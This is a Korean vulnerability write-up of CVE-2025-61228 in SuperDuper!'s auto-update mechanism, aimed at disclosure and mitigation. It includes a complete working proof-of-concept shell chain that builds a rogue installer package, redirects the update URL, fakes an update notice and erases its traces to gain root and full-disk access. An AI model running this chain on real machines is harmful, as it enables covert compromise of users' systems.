
CVE-2025-61228에 대한 기술적 분석 및 개념 증명 익스플로잇으로, SuperDuper!의 자동 업데이트 메커니즘에서 발생하는 권한 상승 취약점입니다. 공격 벡터에 대한 상세 분석과 완화 지침을 포함합니다.
이 문제는 개발자가 주장하는 것보다 더 심각한 것으로 보이므로, 이 부분이 묻히지 않길 바랍니다. 개발자는 자신의 블로그에서 다음과 같이 언급했습니다:
이 문제는 시스템에서 실행 중인 프로그램이 SuperDuper의 업데이트를 확인하고 있을 때, 합법적인 수단을 통해 실제 업데이트가 제공되고, 사용자가 업그레이드를 클릭한 경우에만 발생할 수 있습니다.
이는 사실이 아닙니다. 이 취약점을 악용하기 위해 합법적인 수단을 통해 실제 업데이트가 제공될 필요는 없습니다. SuperDuper 3.10 및 이전 버전이 제공하는 업데이트를 절대, 절대 수락하지 마십시오! 이에 대해서는 아래에서 더 자세히 설명합니다.
또한 이 취약점이 권한 상승에만 국한된 것이 아니라 개인정보 보호 통제의 무력화도 포함한다는 점을 이해하는 것이 중요합니다. 이 내용은 개발자의 블로그 게시글에서 누락된 것으로 보입니다.
개발자의 블로그에서 인용:
저희의 자동 업데이트 메커니즘이 하이재킹되어 SuperDuper가 아닌 패키지를 설치하도록 속을 수 있습니다.
저희는 설치 프로그램 패키지를 서명하고 공증했지만, Gatekeeper는 macOS의 패키지 설치 프로그램에 의해 설치될 때 해당 공증을 확인하지 않습니다. 따라서 다운로드가 변경될 수 있으며, 대신 그 패키지를 설치하게 됩니다. 설치가 상승된 권한으로 수행되기 때문에, 이는 악의적인 제3자의 프로그램(사용자가 직접 설치해야 함)이 시스템에 대한 관리자 접근 권한을 얻을 수 있게 할 수 있습니다.
CVE 문서에서:
Shirt Pocket SuperDuper! V.3.10 및 이전 버전의 문제로 인해 로컬 공격자가 소프트웨어 업데이트 메커니즘을 통해 임의 코드를 실행할 수 있습니다.
이 글의 작성자는 이 취약점을 발견한 사람이 아닙니다. 발견자는 SuperDuper 개발자가 "익명의 보안 연구원"이라고 밝혔습니다. 저는 이 취약점 발견에 대한 공로를 주장하지 않으며, 단지 기술적 분석에 관심을 가졌을 뿐입니다.
CVSS 3.1 점수: 7.8 높음 (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
이 취약점을 방지하려면 SuperDuper! 애플리케이션을 삭제하거나 3.11 업데이트를 적용하십시오.
경고: 이 취약점을 피하려면 업데이트를 개발자 웹사이트에서 직접 다운로드해야 합니다.
이 익스플로잇 분석 및 개념 증명은 교육 목적으로만 제공됩니다. 사용에 따른 책임은 본인에게 있습니다.
수백 명의 개발자와 보안 전문가가 테스트한 오픈 소스 소프트웨어 업데이트 솔루션을 구현하는 대신, SuperDuper 개발자는 루트 권한으로 실행되고 전체 디스크 접근 권한을 가진 안전하지 않은 셸 스크립트 위에 자체 소프트웨어 업데이트 메커니즘을 구축했습니다. 업데이트 중 설치되는 소프트웨어를 인증하지 않음으로써 SuperDuper는 공격자의 소프트웨어를 설치하도록 속습니다. 개발자의 수정 사항은 이 취약점의 인증 측면만 해결하며, 업데이트 프로세스를 용이하게 하기 위해 셸 스크립트를 사용함으로써 발생하는 본질적인 취약점은 해결하지 않습니다.
개발자의 "Gatekeeper가 공증을 확인하지 않는다"는 주장은 오해의 소지가 있습니다. GateKeeper는 브라우저에서 다운로드한 항목을 열려고 할 때 작동하지만, 이는 애플리케이션의 내부 소프트웨어 업데이트 메커니즘에는 적용되지 않습니다. 개발자가 소프트웨어가 다운로드하여 컴퓨터에 설치하는 모든 것을 검증하는 것은 100% 개발자의 책임입니다. 이 개발자가 GateKeeper의 실패라고 믿게 하지 마십시오. 익스플로잇의 핵심은 공격자가 SuperDuper를 속여 대체 패키지를 설치하게 하는 것이며, 이는 상승된 권한으로 발생합니다. 또한 SuperDuper가 작업을 수행하기 위해 전체 디스크 접근 권한이 필요하기 때문에, 아마도 전체 디스크 접근 권한도 함께 가지게 될 것입니다.
개발자의 블로그에서는 또한 다음과 같이 말합니다:
이 문제는 시스템에서 실행 중인 프로그램이 SuperDuper의 업데이트를 확인하고 있을 때, 합법적인 수단을 통해 실제 업데이트가 제공되고, 사용자가 업그레이드를 클릭한 경우에만 발생할 수 있습니다.
이 말을 듣고 저는 이 익스플로잇을 재현하는 것이 아마 불가능할 것이라고 생각했습니다. 업데이트 메커니즘에 서버 측 변경이 필요할 것이고, 이는 3.11 패치와 함께 이루어졌을 것이기 때문입니다. 즉, 이전 버전의 소프트웨어가 이 취약점의 영향을 받지 않도록 업데이트 메커니즘을 비활성화했을 것이라고 생각했습니다. 그런데... 저는 이전 버전의 SuperDuper를 다운로드하여 열었을 때, 즉시 업데이트 알림†을 받았습니다. 단 한 번의 클릭으로 잠재적 익스플로잇이 가능한 상태였습니다. 이는 매우 흥미로웠습니다. 자동 업데이트 메커니즘이 비활성화되지 않았다면, 이전 버전의 애플리케이션을 사용하는 사람들이 이 취약점으로부터 어떻게 보호될 수 있을까요? (이것은 이 글의 시작 부분에서 언급한 "경고"와 관련이 있습니다. 이 질문은 마지막에 다시 다루겠습니다)
† 사실 좀 이상했습니다. 업데이트에 대한 설명이나 보안 권고 사항은 전혀 없었고, 창은 그냥 비어 있었고 "Skip"과 "Update" 버튼만 있었습니다. 따라서 이전 사용자는 업데이트 메커니즘이 비활성화되지 않아 익스플로잇으로부터 보호받지 못할 뿐만 아니라, 업데이트 메커니즘을 통해 문제에 대한 정보도 제공받지 못하고 있습니다.
계속 진행했습니다. 업그레이드를 적용할 때 백엔드 메커니즘은 SuperDuper 로그에 친절하게 기록되므로, 해당 로그를 통해 어떻게 작동하는지 살펴보겠습니다:
Transcript : UpgradeTranscript.plist
Ext Logging : Disabled
PHASE: 1. Upgrade Application
...ACTION: Downloading upgrade package
......COMMAND => Downloading update package...
......COMMAND => Preparing update package
...ACTION: Installing upgrade package
......COMMAND => Preserving SDAgent owner and mode bits
......COMMAND => Installing upgrade package
installer[3148] <Debug>: Product archive /tmp/SuperDuper!.pkg trustLevel=350
Mac App Store 외부에 있는 많은 Mac 앱은 오픈 소스 Sparkle 프레임워크를 사용하여 (안전하게) 소프트웨어 업데이트를 관리합니다. SuperDuper는 그렇지 않습니다. 여기서 볼 수 있듯이 그들은 자체적인 업데이트 메커니즘을 만들었고, 이것이 왜 종종 나쁜 선택인지 보여주는 좋은 예입니다. 소프트웨어 업그레이드 메커니즘은 익스플로잇의 주요 대상이므로, 이를 안전하게 유지하기 위해서는 많은 시간과 전문성이 필요합니다. "UpgradeTranscript.plist"는 SuperDuper 애플리케이션 내부의 파일을 참조하며, 이 파일은 SuperDuper가 업데이트를 다운로드하고 적용하는 데 사용하는 일련의 터미널 명령을 정의합니다:
cat /Applications/SuperDuper\!.app/Contents/Resources/Transcripts/UpgradeTranscript.plist
<?xml version="1.0" encoding="UTF-8"?>
...
/usr/bin/curl SDHTTPproxy.Host --silent --show-error --output /tmp/superduper.tar.gz -L SDdownloadURL
cd /tmp; if [ -d superduper_install ]; then /bin/rm -rf superduper_install; fi; /bin/mkdir superduper_install; /usr/bin/tar xzf superduper.tar.gz; /bin/rm /tmp/superduper.tar.gz; if [ -d '/Library/Receipts/SuperDuper!.pkg' ]; then /bin/rm -rf '/Library/Receipts/SuperDuper!.pkg'; fi;
/usr/sbin/installer -allow -verboseR -dumplog -pkg '/tmp/SuperDuper!.pkg' -target / >&1 2>&1;
if [ ! -d '/tmp/superduper_install/SuperDuper!.app' ]; then /usr/bin/ditto -rsrc '/Applications/Utilities/SuperDuper!.app' '/tmp/superduper_install/SuperDuper!.app'; fi
/bin/rm -rf '/tmp/SuperDuper!.pkg' '/tmp/superduper_install' '/Library/Receipts/SuperDuper!.pkg'; if [ SDAppBundle.'Path != '/Applications/Utilities/SuperDuper!.app' -a -d '/Applications/Utilities/SuperDuper!.app' ]; then /bin/rm -rf '/Applications/Utilities/SuperDuper!.app'; fi
이 명령과 절차에서 최소한 네 가지 문제점을 발견했습니다:
superduper.tar.gz가 다운로드되지만, 진위 여부는 절대 확인되지 않습니다.superduper_install 폴더가 생성된 후 대체 패키지를 교체할 수 있는 악용 가능한 경쟁 조건(race condition)이 있습니다.installer 명령을 -allow 플래그("신뢰할 수 없거나 만료된 인증서로 서명된 패키지 설치 허용")와 함께 호출하여 사실상 이러한 약점을 악용하도록 유도하고 있습니다.패키지 설치 프로그램은 셸 스크립트를 실행할 수 있으므로, 이것이 대체 설치 프로그램 패키지의 공격 벡터가 될 것이라고 가정합니다. 먼저 사전 설치 스크립트를 실행하는 패키지를 빌드한 다음, 이를 업데이트 메커니즘에 어떻게 끼워 넣을지 알아보겠습니다.
# "/tmp/superduper_install" 설치 폴더를 사용하면 SuperDuper가 편리하게 정리해 줍니다.
mkdir /tmp/superduper_install
mkdir /tmp/superduper_install/script
mkdir /tmp/superduper_install/pkg
# 스크립트 생성. /Library는 루트만 쓸 수 있으므로, 거기에 테스트 파일을 생성해 보겠습니다.
# Desktop 폴더의 내용을 가져오려면 사용자가 부여한 개인 정보 보호 권한이 필요하므로,
# 해당 폴더 목록을 데스크톱의 텍스트 파일로 가져와 전체 디스크 접근 권한이 있는지 확인해 보겠습니다.
# 참고: 이 익스플로잇 부분을 효과적으로 테스트하려면 터미널에서 전체 디스크 접근 권한을 취소해야 합니다.
cd ~; export home=`pwd`
printf '#!/bin/bash\ntouch /Library/test\n' > /tmp/superduper_install/script/preinstall
printf "ls -l $home/Desktop > $home/Desktop/private_data\nexit 0\n" >> /tmp/superduper_install/script/preinstall
chmod a+x /tmp/superduper_install/script/preinstall
# 패키지 빌드
pkgbuild --nopayload --scripts /tmp/superduper_install/script --identifier com.example.mypackage --version 1.0 /tmp/superduper_install/pkg/SuperDuper\!.pkg
# 패키지를 tar 아카이브에 넣기
cd /tmp/superduper_install/pkg
tar -cf /tmp/superduper_install/superduped.tar.gz SuperDuper\!.pkg
잠시 옆길로 새서, 이 익스플로잇이 공격자에게 어떤 접근 권한을 제공하는지 살펴보겠습니다. 셸 스크립트를 수동으로 실행하면(터미널에 전체 디스크 접근 권한이나 "파일 및 폴더" 접근 권한이 없다고 가정), 두 가지 오류가 발생합니다:
touch: /Library/test: Permission denied
ls: /Users/user/Desktop: Operation not permitted
공격자는 루트 접근 권한만으로도 많은 피해를 입힐 수 있지만, 개인 정보 접근 권한까지 있다면 홈 폴더 내의 더 넓은 범위의 콘텐츠(데스크톱은 사소해 보일 수 있지만, 숨겨진 Library 폴더에는 엄청난 양의 개인 데이터가 저장됩니다)에 접근할 수 있습니다. 이 익스플로잇은 두 가지를 모두 제공합니다.
자, 패키지 빌드는 쉬운 부분이었습니다. 어떻게 업데이트 메커니즘에 침투할 수 있을까요? 경쟁 조건을 악용하는 것이 명백한 후보였지만, 다음과 같은 절차 부분에 개입할 수 있을지 궁금했습니다:
/usr/bin/curl SDHTTPproxy.Host --silent --show-error --output /tmp/superduper.tar.gz -L SDdownloadURL
호스트와 다운로드 URL 변수는 분명히 스크립트 외부에서 오는 것입니다. 조작할 수 있을까요? Sparkle 소프트웨어 업데이트 메커니즘을 사용하는 앱은 종종 CFPreferences에 "소프트웨어 업데이트 확인" URL을 저장하므로, SuperDuper도 같은 방식을 사용할지 궁금했습니다. 예상대로였지만, 더 심각했습니다. SuperDuper는 업데이트 확인을 위한 URL만 저장하는 것이 아니라 실제 다운로드 URL을 CFPreferences에 저장하고 있었습니다:
defaults read com.blacey.SuperDuper
...
UMdownloadURL = "https://s3.amazonaws.com/shirtpocket/SuperDuper/beta/superduper2.tar.gz";
UMfailureCount = 0;
UMinfoURL = "https://s3.amazonaws.com/shirtpocket/SuperDuper/beta/superduperinfo2.rtf";
UMpublicVersion = "137.7";
로컬 파일 시스템 URL로 URL을 덮어쓰려고 시도했습니다:
defaults write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
SuperDuper를 다시 열고 Update를 클릭했지만, 업데이트는 대체 패키지가 아닌 개발자의 업데이트를 설치했습니다. 당연한 결과였습니다. SuperDuper가 실행될 때 업데이트를 다시 확인하면 기본값을 다시 썼기 때문입니다. SuperDuper가 업데이트를 표시한 후에 값을 설정하는 방법을 다시 시도했는데, 이번에는 작동했습니다! 업데이트 설치는 실제로 실패했지만, 공격은 성공했습니다. /Library/test 파일이 생성되었습니다.
테스트 파일을 삭제하고 실제로 작동하는지 확인하기 위해 테스트를 반복했습니다. 또한 데스크톱의 private_data 파일에 데스크톱 폴더 목록이 포함되어 있는지 확인했습니다. 즉, 스크립트가 전체 디스크 접근 권한으로 실행되었습니다.
여기서 멈출 수도 있었지만, 오류 로그에 SuperDuper를 찾을 수 없어 설치가 실패했다고 표시되었습니다:
COMMAND => Copying upgrade bundle to temporary location
***ERROR OCCURRED: ditto: Cannot get the real path for source '/Applications/Utilities/SuperDuper!.app'
UpgradeTranscript.plist 셸 스크립트의 로직을 다시 살펴보니, 대체 패키지에 SuperDuper 애플리케이션을 복사하기만 하면 설치 프로그램이 성공할 수도 있다는 것을 깨달았습니다(ditto는 /tmp/superduper_install/SuperDuper!.app가 없기 때문에 오류를 출력합니다). 실제로 이 작업은 예상보다 어려웠고, SuperDuper는 설치 중 항상 충돌했습니다. 사전 설치 스크립트가 런타임에 앱을 예상 위치에 복사하도록 하는 것이 훨씬 쉬웠습니다:
mkdir /tmp/superduper_install
mkdir /tmp/superduper_install/script
mkdir /tmp/superduper_install/pkg
cd ~; export home=`pwd`
printf '#!/bin/bash\ntouch /Library/test\n' > /tmp/superduper_install/script/preinstall
printf "ls -l $home/Desktop > $home/Desktop/private_data\n" >> /tmp/superduper_install/script/preinstall
printf 'cp -R /Applications/SuperDuper\!.app /tmp/superduper_install/SuperDuper\!.app\n' >> /tmp/superduper_install/script/preinstall
chmod a+x /tmp/superduper_install/script/preinstall
pkgbuild --nopayload --scripts /tmp/superduper_install/script --identifier com.example.mypackage --version 1.0 /tmp/superduper_install/pkg/SuperDuper\!.pkg
cd /tmp/superduper_install/pkg
tar cf /tmp/superduper_install/superduped.tar.gz SuperDuper\!.pkg
[Open SuperDuper for the update presentation]
defaults write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
이제 SuperDuper가 가짜 패키지를 설치했고, 성공적으로 설치된 것처럼 보였습니다. SuperDuper가 다시 시작되었고 다시 업데이트를 표시했습니다. 이는 tmp 폴더에 만든 이전 버전의 복사본을 다시 설치했기 때문에 예상된 결과입니다. 오류 메시지가 없다는 것은 일반 사용자에게 아무 문제가 없다고 믿게 하기에 충분할 것이며, 사용자는 다시 Upgrade 버튼을 클릭하여 이번에는 개발자 사이트에서 실제 패키지를 설치할 것입니다. 한편, 익스플로잇은 이미 활성화되어 있고 사용자는 "음, 좀 이상했지만 지금은 잘 작동하네" 하고 넘어갈 것입니다.
여전히 이 공격을 실행하기 어렵게 만드는 물류적 문제가 있습니다. 공격자는 업데이트가 사용자에게 표시된 후, 사용자가 Upgrade 버튼을 클릭하기 전에 해당 defaults 명령을 실행해야 합니다. 물론 가능은 합니다. 백그라운드에서 해당 defaults write 명령을 무한 반복으로 실행할 수도 있지만, 이는 주의를 끌 것입니다. 처음에는 기본 설정 파일을 잠가서 이 문제를 해결할 수 있을 거라고 생각했습니다:
defaults write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
chflags uchg ~/Library/Preferences/com.blacey.SuperDuper.plist
[wait for SD update presentation, then the user can go ahead and apply it without any extra steps]
하지만 작동하지 않았습니다. 기본 설정이 어떻게 작동하는지 생각해보니 이해가 되었습니다. 애플리케이션은 설정을 가져올 때마다 해당 파일을 열고 값을 읽지 않고, 대신 "CFPreferences" 인터페이스에 값을 요청합니다. SuperDuper가 UMdownloadURL 값을 변경하면 CFPreferences는 물리적 파일이 변경되지 않더라도 메모리에 변경 사항을 유지합니다. 나중에 SuperDuper가 해당 설정 값을 요청하면 CFPreferences는 캐시에서 가져옵니다(물리적 파일에 변경 사항이 있으면 캐시가 업데이트됩니다).
이 시점에서 한 가지가 계속 신경 쓰였습니다. 왜 개발자가 다운로드 URL을 CFPreferences에 저장했을까요? 분명히 CFPreferences에서 값을 읽을 계획이 없다면 CFPreferences에 값을 쓰지 않을 것입니다. 하지만 메모리의 변수에 값을 저장하는 것은 어떨까요? 이러한 방식으로 CFPreferences를 사용하는 데에는 모든 경험 많은 Mac 개발자가 알아야 할 두 가지 큰 문제가 있습니다:
이 이론을 테스트하기 위해 기본 설정을 currentHost 도메인에 썼습니다. 이 도메인은 애플리케이션 도메인보다 우선합니다:
defaults -currentHost write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
그런 다음 SuperDuper를 다시 실행하고 Upgrade를 클릭했습니다. 대체 패키지가 설치되었습니다. 놀랍습니다. 이렇게 하면 익스플로잇이 훨씬 쉬워집니다. 공격자는 해당 기본 설정을 배치하고 업데이트가 게시될 때까지 무기한 기다리면 됩니다. 하지만 잠깐, SuperDuper가 다운로드 URL 값을 기본 설정에서 가져온다면 버전 번호도 가져오지 않을까요? 공격자가 업데이트를 유도하여 개발자가 게시하지 않은 업데이트를 SuperDuper가 표시하도록 속일 수 있을까요? 놀랍게도, 그렇습니다! 모든 것을 종합하면, 공격자는 다음 명령을 실행하여 이전(패치되지 않은) 버전의 SuperDuper!가 가짜 업데이트를 표시하고 대체 패키지를 설치하도록 하고, 동시에 SuperDuper가 공격의 모든 흔적을 제거하도록 할 수 있습니다:
mkdir /tmp/superduper_install
mkdir /tmp/superduper_install/script
mkdir /tmp/superduper_install/pkg
cd ~; export home=`pwd`; export user=`whoami`
printf '#!/bin/bash\ntouch /Library/test\n' > /tmp/superduper_install/script/preinstall
printf "ls -l $home/Desktop > $home/Desktop/private_data\n" >> /tmp/superduper_install/script/preinstall
printf 'cp -R /Applications/SuperDuper\!.app /tmp/superduper_install/SuperDuper\!.app\n' >> /tmp/superduper_install/script/preinstall
printf "sudo -u $user defaults -currentHost delete com.blacey.SuperDuper\n" >> /tmp/superduper_install/script/preinstall
chmod a+x /tmp/superduper_install/script/preinstall
pkgbuild --nopayload --scripts /tmp/superduper_install/script --identifier com.example.mypackage --version 1.0 /tmp/superduper_install/pkg/SuperDuper\!.pkg
cd /tmp/superduper_install/pkg
tar cf /tmp/superduper_install/superduped.tar.gz SuperDuper\!.pkg
defaults -currentHost write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
printf '<span style="font-weight: bold; font-size: 11pt; font-family: sans-serif;"><span style="color: red;">SuperDuper 4.0 (v140)</span> is now available for automatic upgrade!</span>\n' > /tmp/superduper_install/update.html
textutil -convert rtf /tmp/superduper_install/update.html
defaults -currentHost write com.blacey.SuperDuper UMpublicVersion "999"
defaults -currentHost write com.blacey.SuperDuper UMinfoURL "file:///tmp/superduper_install/update.rtf"
open '/Applications/SuperDuper!.app'
SuperDuper가 대체 패키지를 설치한 후 다시 로드되면, 업데이트가 더 이상 표시되지 않고 사용자는 새 버전을 설치했다고 믿으며 익스플로잇이 활성화된 사실을 전혀 모릅니다.
이 글의 시작 부분으로 돌아가서, "자동 업데이트 메커니즘이 비활성화되지 않았다면 이전 버전의 애플리케이션을 사용하는 사람들이 이 취약점으로부터 어떻게 보호될 수 있을까?"라고 궁금했습니다. 알고 보니 개발자가 자동 업데이트 메커니즘을 비활성화하는 것은 중요하지 않습니다. 이 취약점은 서버 측 변경 없이도 (또는 그러한 변경에도 불구하고) 악용될 수 있으며, 개발자가 "진짜" 업데이트를 게시할 필요도 없습니다. 유일한 완화 방법은 사용자가 항상 자동 업데이트를 거부하고 패치된 버전의 제품으로 수동 업데이트할 때까지 기다리는 것입니다.